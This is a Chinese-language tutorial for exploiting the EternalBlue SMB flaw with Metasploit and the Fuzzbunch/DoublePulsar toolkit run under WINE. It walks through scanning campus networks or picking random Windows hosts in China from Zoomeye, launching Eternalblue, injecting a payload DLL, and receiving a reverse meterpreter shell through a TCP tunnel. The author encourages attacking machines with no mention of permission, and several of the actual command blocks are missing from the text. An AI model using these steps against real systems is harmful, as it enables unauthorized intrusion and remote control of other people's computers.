手把手教你用永恒之藍(Eternalblue)勒索病毒漏洞的高階用法
安裝 MSF
Linux & Mac OS X
如果遇到問題,點開這個鏈接,然后自己想想辦法……
查看是否安裝成功
然后輸入 msfconsole 看看安裝是不是成功了……
這樣的話就算成功了。
安裝 WINE 和 winetricks
Linux
OSX
安裝 Windows Python 環境
跟著 wizard 走完就行了……一路下一步。
復制工具包到 Windows 分區
默認 WINE 環境的虛擬磁盤在 ~/.wine/drive_c
把那個工具包里的 windows 文件夾改個名字,復制到這里去……
比如改名叫 tools,復制到 ~/.wine/drive_c/tools。
進入 Win CMD
如果這一步出現什么 wrong font 錯誤,可以試試安裝 fonts-wine 包,或者用 winetricks --gui,選擇默認 WINE ,安裝字體,勾上 corefont。
沒錯的話會出現一個黑框框,就是 CMD 了,先 右鍵 - properties - font 調整一下字體什么的,注意確定保存的時候選第一個單選框……調到你覺得好看的字體為止。然后:
試一下 Win 上的 Python 有沒有安裝好,如果沒問題就 Ctrl-D 退出。
修改 fuzzbunch 默認配置
到 ~/.wine/drive_c/tools 這里,用文本編輯器打開 fuzzbunch.xml。
修改 ResourcesDir 為 C:\tools\Resources,LogDir 為 C:\logs。
運行 fuzzbunch
再次打開 CMD,cd 到 Python 目錄,然后執行:
如果出現這樣的話環境就算是配置好了:
然后可以暫時退出了。
查看網絡環境
本機上執行:
找到自己正在使用的網絡,記下 IP 和 子網掩碼。
安裝 Zmap
Zmap 是一個快速的網絡掃描器,反正就是收集信息用的。
Linux
OSX
安裝好了之后 sudo zmap --version 測試一下。
掃描子網
根據你上一步得到的 IP 和子網掩碼,掃描網絡。
假如你的 IP 是 10.128.129.45 子網掩碼 255.255.192.0,把子網掩碼按照下表換成數字,然后加起來。
所以 255.255.192.0 = 8 + 8 + 2 = 18。要掃描的 CIDR 就是 10.128.129.45/18
然后運行:
-B 選項后面的是掃描速度,根據你們的內網帶寬找一個合適的速度填就行。比如我們內網 100M,我就用一半的速度掃。
如果遇到 blacklist 的錯誤,可以去修改 /etc/zmap/blacklist.conf 這個文件,把需要掃描的內網地址注釋掉:
如果遇到 interface 什么的錯誤,就用 -i <interface> 指定要使用的網卡。比如你是用 WiFi 的話就 -i wlan0。
如果遇到 get-gateway 的錯誤,就先運行 netstat -nr 得到網關的 IP,然后運行 sudo arp -a <網關IP> 獲取他的 MAC 地址:見下圖:
獲取到網關 MAC 之后,用 -G 參數寫在命令行里即可。
OK,開始掃描吧,這時候等著就行了。
掃描完成之后 cat 445.csv 就可以看到所有開了 445 的機器了。
如果你掃描出來文件是空的的話……那說明你的網段可能太小了。
如果你是學生,可以考慮掃描一下全校網段,一般用 10.0.0.1/8 掃描的話應該會能得到一些結果的。
如果還是不行,那就用備選方案吧……
備選方案 - Zoomeye
如果你子網掃描出來的文件是個空的的話,你也可以選擇掃描互聯網上的機器。
當然這時候我們就不自己用 zmap 掃了,Zoomeye 可以幫助我們。
搜索框右邊的選項選主機,輸入 service:microsoft-ds os:windows country:china Enter 搜索。
也可以加一個參數 city:beijing 來搜索特定城市的主機。
然后隨便選幾個 IP 寫到 445.csv 里去吧,一行一個 IP 就行。
漏洞檢測
現在用 msfconsole 打開 MSF,輸入 use auxiliary/scanner/smb/smb_version 注意從現在開始就不要復制命令了,最好都手打,要習慣用 Tab 補全。
前面的 msf 提示符變成 msf auxiliary(smb_version) > 就表示進入這個掃描器的上下文了。
輸入 options 查看可用的選項:
RHOSTS 表示要掃描額主機列表,THREADS 表示掃描線程數,一般填個 50 什么的就差不多了。如果你 RHOST 數量比小于 50 的話,你也可以填少一點。
用 set 命令設置選項:
輸入完后再用 options 查看一下選項,確認沒問題之后輸入 exploit,回車開始執行 scanner.
執行過程中應該會有很多信息輸出出來,等他運行完,輸入 hosts 查看當前獲得的主機資料:
OK,一個 Win10 一個 Win7 一個 WinServer 2008 R2。
Win 7 以上的可以不用考慮了,Win 7 和 WinServer 2008 一般來說是可以的。
如果你不放心,可以使用 auxiliary/scanner/smb/smb_ms17_010 這個掃描器做一次漏洞檢測。這個就不說詳細步驟了,當作練習吧,結果大概是這樣的:
嗯,他說 Likely 嘛,一般來說 還是選 Win 7 和 Server 2008 以下的主機當作目標吧。
OK 我現在就選那臺 Win 7 的 10.158.24.2 了,后面的操作都會用這個 IP,你記得換成你自己的目標哈。
Fuzzbunch 出場
用之前的命令啟動 WINE CMD,用 Python 打開 fuzzbunch:
- 第一個地方輸入你的目標的 IP 地址
- 第二空 Callback IP 隨便填,因為用不到,這里就填 127.0.0.1 好了
- 第三個很重要,一定 要填 no
- 后面如果你沒有項目的話就選 0 新建一個,你下次啟動想用之前的話就選 index
- 然后文件位置什么的就都默認,一路回車下來就行
看見 fb > 字樣的提示符就表示初始設置完成。
Eternalblue 攻擊
Fuzzbunch 的使用方法和 MSF 其實差不多。
輸入 use Eternalblue 載入攻擊模塊,同樣注意多使用 Tab 鍵。
和 MSF 不一樣,FB 會進行交互性的參數輸入:
如果上面的參數(主要是 IP)沒錯的話,也可以輸入 no 來取消交互式輸入。
然后來到這一步,攻擊方式一定要選 1 FB 方式:
然后繼續跟著交互提示走,Tunnels 部分直接一路回車,開始執行后門安裝:
如果到 Receiving response from exploit packet 這句話這里停住的話,大概率是打了補丁,你可以換個目標了。
如果是停在 Triggering free of corrupted buffer 這句的話,基本就成功了,等著就好。
OK,等了一會之后,Eternalblue 攻擊成功。
注意觀察一下這里寫的目標機器的 Arch 是 32 bit 還是 64 bit,后面要用。
TCP 隧道
這一步需要你有公網 IP,如果你沒有的話可以用 TCP 隧道服務來代替……比如各種基于 Ngrok 的隧道服務……
這里我就不教程了……你們自己弄好就行
我現在假設你們隧道服務商 IP 是 123.123.123.123,給你的端口是 8888,你本地的端口也開 8888,下面一步操作的時候記得把這些數字換成真實的。
提示
如果你是掃描校內網,而且校內網沒有對機器互聯端口做限制的話,不用 TCP 隧道也是可以的,那你就把下面教程里的所有 LHOST 填你自己的網卡 IP 即可。
MSF 監聽反彈端口
在 MSF 里,使用 multi/handler。
如果你要攻擊的機器是 32 位的機器:
set payload windows/meterpreter/reverse_tcp
如果是 64 位的:
set payload windows/x64/meterpreter/reverse_tcp
然后
LHOST 就填 127.0.0.1 就可以,因為上面我們用了隧道。
最后一個 -j 是將 exploit 放在后臺運行,暫時可以不用管了。
你可以通過 jobs -l 看到所有后臺任務。
生成 Shellcode DLL
在 MSF 里執行
上面的 {Payload} 換成你上個階段用的 payload,然后 HOST 和 PORT 也要記得換,{ARCH} 如果是 32 位就寫 x8664 位就寫 x64。
你也可以分別生成兩個 DLL 備用,反正以后攻擊到的 32 位 64 位都有可能。
然后把這兩個 DLL 復制到 ~/.wine/drive_c 目錄下
雙倍脈沖(Doublepulsar)注入
切換到 Wine CMD 里的 FB 平臺,使用 Doublepulsar
然后就按照提示一路 Enter,Proto 選 SMB,x86 還是 x64 根據目標機器選。
這一步選 2,RunDLL。
DLL 位置選根據你的文件名填,比如 C:\x86.dll 或者 C:\x64.dll,然后繼續 Enter。
當你看到這個 Success 的時候,表示注入成功。
DONE
現在切回你的 MSF 看看是不是有些 sending stage 之類的輸出。
如果沒有的話就把 DLL 的生成檢查一遍看看參數有沒有寫對,然后再執行一遍上一步。
如果有輸出的就輸入 sessions -l 查看已經連接好的 meterpreter。
然后用 sessions -i <ID> 連上去:
OK 了!后面的我就不教了,你可以輸入 help 然后 Tab 看看有哪些命令。然后 <command> -h 獲取幫助。
然后 https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/ 這里有一些基本的后滲透命令的解釋。